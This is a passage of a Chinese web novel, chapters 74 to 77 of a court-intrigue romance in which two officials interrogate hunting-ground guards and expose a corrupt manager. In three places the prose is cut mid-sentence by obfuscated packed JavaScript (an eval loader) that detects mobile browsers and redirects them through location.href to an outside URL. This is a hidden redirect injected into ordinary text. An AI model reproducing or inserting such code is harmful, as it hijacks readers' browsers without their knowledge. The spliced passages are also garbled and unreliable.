李羽飞双目通红,泪水在眼眶里打转,声音哽咽却带着不甘的狠厉:“我当初也是这么劝我母亲的……可我不甘心!权利之上,还有更高的权利,没有权势,我连公道都求不来!” 她眼前又浮现出那日的画面—— 王璟妍从轮椅上重重跌倒在地,裙摆下的双腿扭曲无力,那双曾经温婉的眼睛里,燃着绝望又愤恨的火。 “我不甘心——!” “李想害得我家破人亡,将我害成这副人不人鬼不鬼的模样,他该死!他该死啊!” 李羽飞哭着扑过去,小心翼翼将母亲扶起,声音颤抖却坚定:“母亲,女儿已经长大了,女儿也可以做您的依靠……。” 虞湘晔轻轻拍着她的后背,柔声安抚,眼底却藏着坚定的锋芒:“欲使其亡,必先令其狂。不急,我们有的是时间。” “有我,有修延哥,我们都会帮你。” “当下最重要的,是先把伯母的腿治好,其他的,咱们慢慢算。” 她的声音温柔而有力,一点点抚平李羽飞心中翻涌的恨意与绝望。 ———————————————— 马:狮兄,帮我也上诉一下,为我也发发生! 下章预告:本作者依旧没想好……嘻嘻???? 74. 被认成血的果汁 谢伟恒轻轻摇了摇头,目光平静地从那五个护卫身上收回:“不曾。” 话音微顿,他视线微抬,似有意似无意地往山脚方向掠了一眼,淡淡续道:“不过——” 燕修延立刻心领神会,抬手挠了挠自己的脖颈,状似随意地接话:“不过山脚下那一带,蚊虫倒是挺多。” 谢伟恒的视线慢悠悠扫过跪在最前面那几人的脖颈,语气平淡,却字字戳中要害:“确实,都被咬了。” 他说着,自然地伸出手,把燕修延还在挠脖子的手轻轻按了下来,声音放得更低,带着几分不易察觉的关切:“别挠了,再挠就红了。” 两人这番对话,听着就像寻常闲聊,漫不经心。 可在场有心之人立刻顺着两人的目光,仔细去看那几名护卫的脖子。 一看之下,脸色顿时一变。 那五个护卫的脖颈、耳后,都带着新鲜的痕迹,红点点一片,绝不是在营房里能沾染上的。 围场管家脸色瞬间铁青,又惊又怒,一脚狠狠踹翻了刚才回话最硬气的那个护卫 厉声喝问:“马倍揣!你昨夜究竟在哪里!竟敢在御前欺瞒!” 燕修延正借着打哈欠,往嘴里丢了一颗酸甜浆果,冷不丁听见“马倍揣”这个名字,差点一口喷出来。 他肩膀一耸一耸地憋笑,偷偷用胳膊肘撞了撞身边的谢伟恒,压低声音,笑得眼睛都弯了:“这名字好啊,换个顺序来念,就是被马踹。” 谢伟恒垂眸,唇角勾起一抹极淡的笑意,也用气声回他,语气里带着几分促狭:“不及拍马屁好。” 拍…… 燕修延耳尖微热,默默往旁边挪了一小步,试图拉开距离。 谢伟恒却看着他,轻轻做了一个擦嘴角的动作。 燕修延愣了一下,才用拇指随意抹了下嘴角,沾到一点鲜红的浆果汁液。 他毫不在意地在手指上蹭了蹭,压根没放在心上。 此刻所有人的注意力,都集中在跪地发抖的五个护卫身上,气氛紧绷。 唯有中书令,目光时不时往燕修延这边飘。 一眼望去,正好看见燕修延嘴角那一点淡淡的红色。 中书令眼睛猛地一亮,心头狂喜几乎要按捺不住。 来了! 一定是方才擒狮子时,燕修延动用了太多内力,彻底催化了体内透骨草的毒性! 那红色,哪里是果汁,分明是内伤发作、呕出的血! 燕修延忍痛,忍得一定很辛苦吧? 看你还能得意到几时。 中书令嘴角不受控制地往上扬,眼底的阴毒几乎要溢出来。 燕修延瞥了眼自己指尖的浆果渍,又漫不经心地扫了一眼暗自得意的中书令,心里差点笑出声。 他不动声色地往谢伟恒身边靠了靠,用眼神示意了一下中书令的方向,唇形微动: ——这老匹夫,好像误会了什么。 谢伟恒极轻地点了一下头,眼底掠过一丝冷意。 方才他提醒燕修延擦嘴角,就是察觉到中书令一直在暗中窥视。 燕修延索性手臂一抬,大大方方搭在谢伟恒肩头,半个身子都斜倚着他,看似慵懒,实则恰好挡住了嘴。 掩去了眼底快要藏不住的笑意。 怪不得这老匹夫白发这么多,肯定是一天到晚净想些缺德事。 这脑子,跟晋王凑一对,那真是再般配不过。 这边两人暗潮涌动,御前那边,围场管家还在厉声逼问。 “你们现在老实交代,昨夜究竟做了什么!陛下仁慈,我还能为你们求个情!” 围场管家指着地上死咬着口供不放的五人,气得手都在抖,“若是继续嘴硬,等查个水落石出,诛九族都有可能!” 燕修延慢悠悠摆了摆手,语气散漫:“大人莫急,若是放心,就交由本官去查。监察司,本来就是干这个的。” 他顿了顿,语气轻描淡写,却带着慑人的压迫:“不出半天,他们昨儿去了哪里、有没有同伙、又见了什么人,保准一五一十,扒得干干净净。” 话音一落,五个护卫放在地上的手,瞬间控制不住地颤了颤。 其中一人心理素质稍弱,下意识就想抬头招供。 “陛下!大人!” 马倍揣猛地厉声打断,死死咬着牙,“臣等不敢有半句虚言!昨夜兄弟几个都在营房,从未离开!” 那个想抬头的护卫,吓得立刻又把头深深埋了下去。 只要所有人都咬死不认,监察司再厉害,也拿他们没办法。 “好,很好。” 燕修延轻笑一声,转头对虞睿祥道:“陛下,查清之前,别让他们这么跪着了,先起来找人看管便是,真跪出个好歹,反倒麻烦。” 虞睿祥眼神冷厉,看向围场管家:“把他们分开关押,不准串供。” “是!” 五人被侍卫一个个分别拖走,方才紧绷的气氛,这才稍稍松了些。 燕修延踱到那头被捆得结结实实的狮子旁边,一眼看见还在流连忘返的礼部尚书,忍不住开口:“我说宁大人,这狮子浑身上下都快被你摸包浆了,还没摸够?” 礼部尚书“嘿嘿”一笑,恋恋不舍地站起身,摊开手心一看,全是灰。 “能摸到活狮子的机会可不多啊!还是被燕大人你生擒的!” 燕修延低头看着狮子,有点犯愁。 活的。 杀了吧,怪可惜的,毕竟是自己亲手擒的。 不杀吧,这么大一尊佛,一天得吃多少肉才能喂饱? 他用脚尖轻轻踢了踢狮子的脑袋。 狮子似乎不满被燕修延踢来踢去,抬眼瞪他,眼神又恢复了几分凶气。 谢伟恒静静站在燕修延身侧,只是淡淡朝狮子看了一眼。 方才还一脸凶相的狮子,眼神瞬间一软,又变得清澈又乖巧,老老实实趴回地上,连大气都不敢喘。 礼部尚书拍掉手上的灰,好奇问道:“燕大人,你这是要去查案子了?” 燕修延想都不想,直接摇头:“陛下又没下令让我去,不去。” 在官场上混,千万不能当什么事都往身上揽的老黄牛,只会累死自己,还不落好。 礼部尚书更奇怪了:“可是你刚才明明说……监察司去查……” 燕修延摊手,理直气壮:“我就诈诈他们,万一诈出点东西呢?诈不出来,我也不亏。” 众人:“……” 狩猎虽被打断,大臣们收获颇丰。 虞睿祥索性下令就地设宴,侍卫们麻利地处理猎物,生火烤肉。 安凝棠依偎在虞睿祥怀里,声音柔得能掐出水:“陛下,这样坐着未免太无聊了,臣妾跳一支舞给陛下解闷可好?” 一旁的凤嫔冷冷嗤笑一声,满是不屑。 安凝棠眼底掠过一丝不快,面上依旧温婉:“怎么,凤嫔姐姐也要为陛下献舞?不如咱们姐妹比一比,看谁的舞更好。” 了解内情的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646232|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都心里清楚,凤嫔是武将之女,琴棋书画样样不精,偏偏一身功夫过人。 凤嫔二话不说,径直走到场中央,朗声道:“借陛下佩剑一用!” 虞睿祥挑眉,解下佩剑直接扔了过去。 “臣妾为陛下献武!” 凤嫔一把接住佩剑,“呛啷”一声出鞘,手腕一转,挽出一个凌厉漂亮的剑花。 “献丑了。” 剑光流转,她身姿矫健,招式优美却不失刚猛,剑风凌厉如破风之箭,每一招都干脆利落,看得众人目不转睛。 宫人们陆续端上烹制好的野味菜肴。 替燕修延上菜的那个宫人,脚步极轻地靠近,低声飞快说了一句什么,便躬身退下。 燕修延慢悠悠啃着手里的东西,过了片刻,才站起身,对身旁的谢伟恒道:“劳烦谢大人让一让,我出去透透气。” 谢伟恒立刻跟着起身,语气自然:“一起。” 两人一前一后,悄无声息地离席,几乎没有人注意到。 宫人刚才已经悄悄告诉了燕修延,那五个护卫被关押的地方。 燕修延手里还攥着一只刚撕下来的烤鸡腿,火候恰到好处,外皮焦香,内里肉嫩多汁。 他虽然怕活鸡,但烤熟了的,不吃白不吃。 “刚才热乎的烤鸡,你怎么不撕个腿下来?等回去,可就没这么热乎好吃的了。” 谢伟恒忽然停下脚步,伸手轻轻握住燕修延拿鸡腿的手,低头,在他咬过的地方,轻轻咬下一口。 “味道不错,皮微焦,肉嫩汁多。” “我的腿!” 燕修延看着鸡腿上缺的那一块,心疼得脸都皱起来,没好气地小声嘟囔,“叫人看见你谢大人跟我同吃一根鸡腿,还以为谢府破落了——呸呸呸,童言无忌,大风刮过!” 谢府可不能破落,谢伟恒可是说过好几次,以后钱都要给他管的。 谢伟恒低笑出声,声音温柔:“旁人只会认为,你我二人感情颇深。” 燕修延耳尖微微发烫,小声嘀咕一句:“谁跟你感情颇深。” 谢伟恒唇角弯起,目光灼灼:“自然是燕大人了。” 燕修延哼了一声,埋头飞快啃完鸡腿,擦干净手,两人也正好走到了关押护卫的偏僻营帐外。 他第一个要见的,就是刚才想招供、却被马倍揣厉声打断的那个护卫。 谢伟恒便开门见山,语气平静却带着不容置疑的压迫:“本官与燕大人,已经审过另外四个人了。你,可有想说的?” 燕修延抱着胳膊,在一旁搭腔,语气带着几分不耐烦:“他不说也无妨,前面已经有人招了,何必多此一举问他。” 谢伟恒轻轻叹了口气,语气放缓,像是在体谅:“食色性也,人之常情。围场偏僻,你们也是普通人,一时糊涂罢了。若肯说实话,本官尚可在陛下面前,替你求个从轻发落。” 燕修延挑了挑眉,总觉得谢伟恒这话里,好像还有别的意思。 他愣了一下,才勉强点头附和:“也是,他们也只是有七情六欲的普通人,你问吧,问完,正好赶回去吃席。” ———————————————— 狮子:这人用眼神威胁我,狮狮我呀不敢反抗。你们惹到我,可算到是踢到棉花啦。 果汁:家人们,我头一次知道我叫血! 下章预告: 原捏—— 冤孽? 这人父母给他取名时,脑子都不动动的。 75. 耳朵不清净 谢伟恒垂眸看向被绑在凳上的人,语气温和,不带半分压迫:“你叫……” 那人慌忙抬头,声音发颤:“小的原捏。” 燕修延在旁边听得差点没绷住—— 原捏? 这不就是冤孽吗? 也不知道这爹娘取名时,是真没多想,还是故意的。 谢伟恒依旧平静:“原捏,你可有想说的?” 原捏眼神闪烁,明显还在犹豫。 可方才那两句“已经有人招了”,像根针似的,扎得他心头发慌。 燕修延适时上前一步,满脸不耐烦地催促:“我看这个冤……原捏,根本没有招供的意思。他自己不想活,你又何必处处为他考量?” 他故意把“冤”字咬得含糊,听着像骂人,又像口误。 谢伟恒配合着露出一丝为难,又轻声问了一遍:“原捏,你当真没什么要说的?” 话音刚落,燕修延伸手就拉住谢伟恒的手腕,作势要往外走:“他有什么好说的,反正被马踹都已经招了,走吧。” 他故意把马倍揣的名字,念得滑稽又笃定。 原捏瞬间急了。 被绑在凳子上动弹不得,只得拼命伸长脖子,模样活像一只被捏住壳的乌龟:“我有!大人!我说!我全说!” 他是真怕这两位说走就走,回头所有罪责都推到他头上。 原捏一口气交代得干干净净: 他们五个住一块儿,昨天刚发俸禄,晚上就偷偷溜去附近县城的花楼寻欢。 回来时已经寅时三刻,眯了没一会儿就去围场外当值。 实在困得受不住,想着陛下护卫那么多,围场又查了好几遍,肯定出不了事,就找了个隐蔽地方睡过去了。 后来狮吼声把他们惊醒,才慌慌张张跑回岗位。 原捏知道瞒不住了,咬咬牙继续:“我当时看见,西南角的界桩是歪的,是马倍揣趁人不注意,偷偷扶正装好的。” 燕修延眼神一冷,笑容里带着几分阴鸷:“好一个被马踹,竟敢这般隐瞒。我这就去把他皮扒了。” 原捏吓得脖子一缩,整个人往凳子里缩成一团。 谢伟恒温声宽慰:“你放心,你据实交代,我自会在陛下面前,如实禀明。” 接下来几人,两人如法炮制。 谢伟恒语气沉稳:“其他四人已经全都招了,马倍揣也承认,界桩原本是歪的,是他亲手扶正的。” 燕修延跟着搭腔,一脸不耐烦:“都问清楚了,还听他废话干什么。” 谢伟恒轻轻一叹,像极了仁厚君子:“终究是一条人命,若他肯说实话,我也好在陛下面前为他求条生路。” 燕修延皱眉:“看他这样子,分明是不想活了。我饿了,回去吃饭吧。” 话音一落,转身就走。 “我招!我招!我全招啊!” 心理防线本就脆弱,被两人一唱一和这么一逼,当即全线崩溃,什么都兜不住。 最后提审马倍揣。 与前几人时和煦不同,谢伟恒脸上笑意尽数敛去,神色冷肃,气场压人: “他们四人已经全部招认,是你发现界桩松动,私自扶正隐瞒。你老实交代,是不是与外人勾结,意图谋害陛下?” 燕修延在旁边看得心里偷笑。 明明只有原捏一个人看见马倍揣扶界桩,到他嘴里,就成了四人一致指证。 谢伟恒装起正经人来,是真能唬人。 下一秒,燕修延又笑不出来了。 他忽然回过神——自己当初,不也是被他这么连唬带哄,给吃得干干净净? 越想越有点气。 燕修延不动声色,伸手悄悄在谢伟恒腰上轻轻拧了一下。 没敢使劲,估摸着也留不下印子,纯粹是泄愤。 谢伟恒像是背后长了眼,一只手不动声色背到身后,一把抓住燕修延作乱的手指,轻轻揉捏了两下。 燕修延指尖一麻,悄悄往回抽了抽,没抽回来。 他轻轻“啧”了一声。 马倍揣早已吓得冷汗直流,满眼都是恐惧,哪里敢留意两人这等小动作。 只当那声啧是对他不满,当场腿肚子都在打颤。 “界桩松动是我扶的,可我绝对没有勾结外人、陷害陛下啊!” 马倍揣急得声音都破了,“我隐瞒,只是怕咱们昨夜溜去花楼、当值睡觉的事暴露,会受重罚!” 谢伟恒目光沉沉:“此话当真?” “千真万确!” 马倍揣拼命磕头,“谋害陛下是诛九族的大罪,借我一百个胆子,我也不敢!” 谢伟恒转头看向燕修延:“燕大人可还有要问的?” 燕修延淡淡开口:“为什么偏偏是昨晚?” 马倍揣支支吾吾半天,声音低得像蚊子哼:“因……因为昨晚发俸禄。每次发俸禄,我们都会去一趟县城……” 末了,他还不忘拼命给自己开脱:“先帝在时,我们前辈也是这么做的,多少年都没出过事……” 谢伟恒与燕修延对视一眼。 五人口径基本一致,细节对得上,不像是串供。 也就是说——做这件事的人,清清楚楚知道这五个护卫的习惯。 回去路上,燕修延揣着手,慢悠悠开口:“谢大人还挺适合唱双簧的。” 谢伟恒侧头看他,眼底带着浅淡笑意:“多亏燕大人配合得好。” 燕修延嘴上不承认,心里却门清。 他跟谢伟恒这默契,比监察司里跟了他最久的温泽还要深。 不用眼神,不用提前对词,张口就能把一出戏唱得天衣无缝。 两人回到席上时,场中已经换了光景。 凤嫔的剑舞早已结束,安凝棠也献过了舞。 大臣们一个个埋头猛吃,恨不得把脸埋进碗里—— 谁也不敢抬头,生怕一抬头就对上安凝棠的眼睛,被逼着评“是舞剑好看,还是跳舞好看”。 燕修延刚坐稳,安凝棠的声音就柔柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢伟恒目光落在他那壶松针酒上,一本正经提议:“可以带些回去慢慢喝。” 燕修延:“……” 好家伙,现在是连演都不演了,直接摆烂。 上首,虞睿祥伸手拉住凤嫔,顺势松开了黏在身边的安凝棠:“既然不舒服,朕替你按按头。” 凤嫔连忙推辞:“怎能劳烦陛下,臣妾回去歇息便是。” 安凝棠瞬间不高兴了,嘴一噘,又开始撒娇:“陛下~臣妾嗓子也不舒服,陛下也疼疼臣妾~” 虞睿祥被缠得没法,干脆夹了一块烤肉,直接塞进她嘴里:“话太多,自然嗓子不舒服。安静一会儿。” 燕修延看得乐不可支,龇着牙花,埋着头无声偷笑。 安凝棠委屈巴巴地咽下烤肉,终于不敢再出声。 燕修延耳朵一清净,反倒又觉得有点无聊。 他偷偷在心里嘀咕:真搞不懂陛下,之前明明说喜欢泼辣爽快的,怎么这回带了个这么娇娇气气的出来。 ———————————————— 下章预告: 郑太医从怀里掏出装着针灸的布包,长针泛着冷光。 燕修延扭头对谢伟恒告状:“谢大人,郑太医他威胁我。” 76. 告状的燕大人 行宫书房内熏着淡淡的龙涎香,烟气袅袅,却压不住空气中紧绷的暗流。 燕修延斜倚在椅边,一身利落常服,见郑太医掀帘而入,眉梢微挑,语气带着几分漫不经心的戏谑:“你怎么来了?” 郑太医拂了拂衣袖,气定神闲地站定,目光扫过案上凌乱的卷宗,淡淡回敬:“怎么我不能来?我查到的东西可比你寻到的蛛丝马迹有用得多。” 燕修延闻言直起身,双臂环胸,眼底饶有兴致:“哦?如此说来,你已然知道幕后黑手是谁了?” 郑太医喉间一噎,干咳一声,略显尴尬地别开眼:“那……那倒没有。” 他先是仔细查看马身状态,指尖轻按马颈,又翻开马眼瞧了瞧。 在皇帝设宴之时,他抱了两只温顺的白兔往林子深处走去。 原本软绵无害的兔子,在林间待了不过片刻,竟在他怀中疯狂挣扎,红着眼嘶吼,四肢乱蹬,力气大得完全不像寻常兔儿。 郑太医一介文臣,素来只懂医理不懂蛮力,一时不备,竟被两只兔子挣脱,窜进密林没了踪影。 燕修延低笑出声,语气满是幸灾乐祸:“郑太医未免也太文弱了,连两只小兔子都抓不住。” 郑太医脸色一沉,抬手从怀中掏出层层包裹的针灸布包,“啪”地摊开在掌心,数根细长银针整齐排列泛着森冷寒光。 燕修延立刻收敛笑意,扭头看向身旁立着的谢伟恒,语气瞬间带上几分委屈告状:“谢大人,你看郑太医,他竟公然威胁我。” 郑太医白了他一眼,转身躬身向主位上的虞睿祥行礼,语气恢复沉稳:“陛下,臣反复查验,断定这马与兔子,皆是中了失心散之毒。只是此毒配方诡异,其中至关重要的一味药引,唯有西域才有。” 燕修延闻言,神色微正,上前一步禀道:“陛下,此前监察司巡查时,曾发现有数名西域样貌的陌生之人,频繁出入中书令府,形迹十分可疑。” 郑太医眼神一厉,直言不讳地看向虞睿祥:“需要臣暗中动手毒死中书令以绝后患吗?” 虞睿祥指尖轻叩桌面,沉默片刻,目光落在郑太医身上:“你平日里,离修延远一点。” 燕修延当即不乐意了,上前一步瞪着虞睿祥:“陛下这是什么意思?凭什么要郑太医离我远些?” 虞睿祥抬眼,眼底带着几分似笑非笑的无奈:“怕你带坏了朕的太医。” 一旁的谢伟恒忽然开口,声音温和却掷地有声:“臣愿亲自前往暗杀晋王。” 虞睿祥:“……” 这么护短可还行。 言归正传,虞睿祥听完燕修延审讯那五名护卫的结果。 脸色渐渐沉了下来。 他指尖重重一点桌面,语气冷冽:“此事绝不可能只有这五人参与,背后定有更大的网。” 围场管家被侍卫传唤而来。 虞睿祥端坐主位,开门见山,语气不带半分温度:“朕问你,围场护卫私自出营寻欢作乐之事,你可知情?” “臣……臣知道。只是这些护卫互相掩护,结成一团,臣虽多次突击检查,也惩处了一批顽劣之人,可他们依旧暗中行事。得知陛下要来围场狩猎,臣还特意再三敲打,勒令他们收敛行径。” 围场管家心知陛下突然问及此事,定然与狩猎时惊现狮子一事脱不了干系。 他当即重重磕头,语气满是愧疚:“是臣御下不严,管束不力,才惹出这般祸事,请陛下责罚。” 虞睿祥面上看不出喜怒,声音平淡却透着威压:“既然知晓此事,为何不提前向朕禀报?” 围场管家面露愧色,声音低了几分:“是臣自大了,以为经过数次惩处,又有陛下亲临,他们定不敢再肆意妄为,故而未曾上报,惊扰圣驾,臣罪该万死。” 燕修延摸着下巴,目光在围场管家身上来回打量,总觉得此人言行举止透着一股说不出的怪异。 他悄悄给身旁的谢伟恒递了个眼色,谢伟恒微微颔首,心下已然了然。 燕修延忽然开口,语气随意:“我记得,大人的家眷一直都留在京城,并未随你在这围场生活,是也不是?” 围场管家连忙点头:“燕大人说的不错,臣家眷皆在京城老宅。” 谢伟恒上前一步,对着虞睿祥躬身道:“陛下,事已至此,围场护卫军纪涣散,歪风盛行,若不杀一儆百,日后必生大乱。臣请旨,将那五名涉事护卫当众杖责二十军棍,流放,以示惩戒,震慑众人。” 虞睿祥缓缓起身,踱步到跪地的围场管家面前,龙袍下摆扫过地面,带着无形的压迫感:“至于你,身为围场总管,监管不力,玩忽职守,有失察之过。朕革去你的官职,收回官印,即刻收拾行李,回京等候发落,以肃法纪。” 围场管家重重叩首,声音颤抖:“臣……领旨谢恩。” 围场所有官员、护卫皆被集中到空地上,观看行刑。 军棍落下的闷响与护卫凄厉的惨叫声此起彼伏,一声比一声凄厉,听得周围众人头皮发麻,心惊胆战。 结结实实的二十军棍下去,即便体格再健壮的汉子,也被打得皮开肉绽,半条命都去了,声音渐渐微弱下去,再无半分力气哀嚎。 燕修延缓步走到马倍揣面前,一把抓住他的头发,硬生生将他的脑袋抬了起来。 “他说,在这里夜里私自出去寻欢作乐,是再正常不过的事,今日在此处自行认罪者,不打不罚;若是能告发他人,经查证属实,还有重赏!” 说着,燕修延从怀中掏出一锭沉甸甸的银子,在指尖抛来抛去,银光闪烁,晃得人眼晕。 这银子是他方才特意跟虞睿祥讨要的,本就是用来引诱这些护卫说实话,事后自然没打算还给陛下—— 他凭本事要来的银子,哪有归还的道理。 一旁的宫人早已备好纸笔,依次分发到每一个护卫手中。 燕修延继续道:“每个人拿着纸笔,挨个进旁边的房间,想认罪、想告发,或是一字不写,皆可随意。” 谢伟恒上前一步,声音沉稳,安抚人心:“你们放心,无论纸上写了什么,我们绝不会透露是谁告发了谁,尽可直言。” 虞睿祥看着燕修延和谢伟恒两人一唱一和的 重赏之下必有勇夫,更何况还有免去刑罚的诱惑。 不过片刻,便有护卫按捺不住,抬脚朝着燕修延所指的房间走去,一个接一个,络绎不绝。 “照这纸上写的名字来看,这围场里,绝大多数人都有问题啊。” 燕修延凑到谢伟恒身边,看着他拿着纸笔,在围场护卫名册上一一对应标记,看着密密麻麻的圈记,忍不住咋舌。 一本名册画完,干干净净没有污点的,不过二十余人。 更有甚者,名字反复出现在告发信上,劣迹斑斑。 而那刚刚被革职的围场管家的名字,竟也赫然在列,且不止一人提及,还有人特意注明,他在附近县城多家花楼都有相好的女子。 燕修延弹了弹写有围场管家名字的信纸,眼底闪过一丝了然:“我就说他方才怪怪的,果然有问题。这么多人都告发了他,看来这事儿没那么简单。” 谢伟恒执笔的手一顿,一语道破关键:“他方才在陛下面前,并非真心认错,而是有意留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646234|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痕,刻意遮掩。” 陛下询问时,他不辩驳、不推诿,只一味领罪,看似有担当,实则一是怕推诿扯皮引来陛下深究,被其他人把他的丑事咬出来;二是暗中告诫那几个护卫,只交代昨夜之事,旁的一概不许多言。 至于这些告发内容是真是假,只需派人拿着名册,快马加鞭前往附近几个县城打听一番,便能一清二楚。 另一边,围场管家自知罪责难逃,在屋内默默收拾行李。他在这围场任职一年多,私人物品堆积如山。 待好不容易将所有东西打包妥当,推门准备离开时,却见门外站着两名面无表情、手持利刃的士兵,眼神冰冷地盯着他。 围场管家心头咯噔一下,一股不祥的预感瞬间席卷全身,手脚瞬间冰凉。 他被士兵重新带回行宫书房,再次见到虞睿祥时,管家强作镇定地行礼,可指尖止不住地颤抖,心头阵阵发虚。 虞睿祥看了一眼正凑在谢伟恒耳边低声说话的燕修延,淡淡开口:“燕卿,你来说。” 燕修延慢悠悠地跟谢伟恒说完最后一句话,才转过身,笑眯眯地看向围场管家,眼底却无半分笑意:“就在大人收拾行李的这片刻功夫,我们查到了一些……很有趣的事情。” 话音落,燕修延轻轻拍了拍手。 门外,几名衣着艳丽的女子被侍卫带了进来,皆是附近县城花楼里的姑娘,也是围场管家常年宠信的相好。 其中一名女子,怀里还抱着一个未满周岁、嗷嗷待哺的婴孩,怯生生地低着头,不敢直视殿内众人。 围场管家瞳孔骤缩,双腿一软,再也支撑不住,“噗通”一声委顿在地,面如死灰。 虞睿祥看着瘫在地上的管家,恨铁不成钢,语气满是震怒:“朕委你重任,让你掌管围场,你便是这般管束自己?沉迷美色,私德败坏,连底线都抛诸脑后了吗?” 围场管家嘴唇哆嗦着,趴伏在地,浑身发抖,一句话也说不出来。 燕修延缓步走上前,蹲在他面前,轻轻拍了拍他的后背,语气看似温和,却字字诛心:“抬起头来说话,我问你,你是否与人暗中勾结,里应外合,意图谋害陛下?” “绝无此事!” 围场管家猛地抬起头,眼底满是愤恨与慌乱,对着燕修延厉声嘶吼,“你这奸佞小人,休要含血喷人,栽赃陷害于我!” 燕修延闻言,也不生气,反倒十分自然地扭头看向谢伟恒,语气委屈巴巴:“谢大人,他说我是奸佞。” 虞睿祥坐在主位上,本已准备开口,替燕修延训斥这不知好歹的管家,谁知燕修延压根没看向他,反倒第一时间去找谢伟恒告状。 这成了亲就是不一样,往日里受了委屈只知道跟他告状。 谢伟恒上前一步,站在燕修延身侧,脸上挂着温和的笑意,语气却字字清晰,力道千钧:“燕大人自然不是奸佞。作为臣子,你一心为陛下分忧,从不会因一己之私,将陛下置于危险之中;作为朝廷官员,你清正廉明,从不与民争利,不盘剥百姓,不贪赃枉法。” 他是在夸赞燕修延,同时也是句句影射围场管家的龌龊行径。 围场管家心头猛地一沉,如坠冰窟。 难道……他暗中赶走山中猎户、强占农户田地、中饱私囊的那些勾当,也全都被查出来了? ————————————————— 虞睿祥:嫁出去的人,泼出去的水,现在都不找我告状了,我好伤心?? 燕修延:陛下,你想让谢伟恒吃醋就直说,没必要拐弯抹角的 下章预告: 还没想好,尽请期待吧?? 77. 眼睛不好,捐了吧 谁也没料到,深挖围场管家的底细,竟不是靠什么缜密追查,全赖他自己那点上不得台面的德行——此人贪花好色,偏又吝啬刻薄到了骨子里。 围场管家专挑年轻貌美的青楼女子纠缠,床笫之间还有不少怪癖,折腾得姑娘们苦不堪言。 若出手阔绰,姑娘们为了银钱尚且忍气吞声。 可他每次完事,只扔出几枚零碎银子,有时甚至分文不给。 你找他要,他便哄骗说银两都在围场,随他回去取。 起初真有不信邪的龟公跟着去取钱,结果刚进围场就被打得鼻青脸肿,连滚带爬地逃回来。 日子一久,老鸨和姑娘们一听见围场管家上门就头皮发麻,可他顶着朝廷命官的身份,拒又拒不得,只能打落牙齿和血吞。 所以前往县城查问时,人家一听是朝廷要彻查围场管家,积压多年的怨气瞬间倾泻而出。 你一言我一语,争先恐后地将他的恶行抖了个一干二净。 花楼旁摆摊的小贩,正是当年田地被黄轩强行霸占的农户之一。 他攥着状纸,指节发白,将围场管家强占良田、驱赶猎户、中饱私囊的事一五一十尽数道出,最后颤抖着手按上鲜红指印,字字泣血。 “大人,事到如今,可还有话要说?” 燕修延将一叠供词“啪”地甩在黄轩面前。 围场管家面如死灰,仍垂死挣扎,膝行几步扑向虞睿祥,连连叩首:“陛下!臣只是占了一小片田地,想栽种陛下喜爱的花卉表忠心,绝无强占良田之举!臣对陛下忠心耿耿,万万不敢与人勾结谋害陛下啊!” 他话音未落,殿外忽然传来宫人通传:“陛下,凤嫔求见。” 虞睿祥抬眸,淡淡吐出一字:“宣。” 珠帘轻响,凤嫔一身华服快步而入,先规规矩矩向皇帝行过礼,起身时转头看向围场管家,一双美目里几乎要喷出火来。 虞睿祥瞧出她怒意滔天,只随意摆了摆手:“别动兵器即可。” 这话如同得了尚方宝剑。 凤嫔二话不说,上前抬脚,绣鞋狠狠踹在围场管家肩头。 围场管家本就跪得虚浮,这一脚力道极沉,直接将他踹得仰面朝天,四脚八叉躺在地上,活像一只翻了壳的王八,狼狈不堪。 “黄轩!你这般行径,对得起我姐姐吗!” 黄轩的正妻,正是凤嫔的亲姐姐,为他生儿育女,操持家务,安分守己。 燕修延眼睛一亮,兴致勃勃地看戏,只差拍手叫好。 谢伟恒默默从袖中掏出一把饱满的瓜子给他。 燕修延侧头冲他一扬下巴,眼底满是赞许:“谢大人太贴心了。” 虞睿祥坐在上首,看着这俩旁若无人的模样,太阳穴突突直跳。 “我与她成亲多年,未曾纳过一妾,何来对不起之说!” 黄轩狼狈地爬起来,只肯向皇帝俯首,对凤嫔这个妻妹半点不服。 他刚跪直,凤嫔又是一脚狠狠踹下,厉声怒斥:“你是没纳妾!可你在花楼寻欢作乐,玩得比谁都花!” 凤嫔来之前,早已派人去见过那些受尽欺辱的青楼女子,将黄轩的吝啬、变态与无情听得一清二楚。 尤其是得知那个襁褓中的孩子,是黄轩强逼姑娘生下时,积压的怒火彻底爆发,再无半分顾忌。 黄轩连挨两脚,也被踹出了火气,怒目圆睁:“你——” “你大爷的!” 凤嫔根本不给他说话的机会,单手揪住他的衣领,竟生生将一个成年男人提了起来,反手狠狠摔在地上。 燕修延看得目瞪口呆,忍不住低呼:“嚯!厉害!” 谢伟恒轻笑一声,顺手倒了杯清茶,轻轻推到他手边,声音温温柔柔:“喝茶,瓜子嗑多了会口渴。” 燕修延头也不回,眼睛黏在场上:“好嘞。” 虞睿祥:“……” 黄轩疼得龇牙咧嘴,终于破罐子破摔,气急败坏地嘶吼:“我去花楼寻欢作乐,还不是因为你姐姐不中用!陛下这般宠爱你,她都不知道让你多吹吹枕边风,给我谋个像样的好差事!” 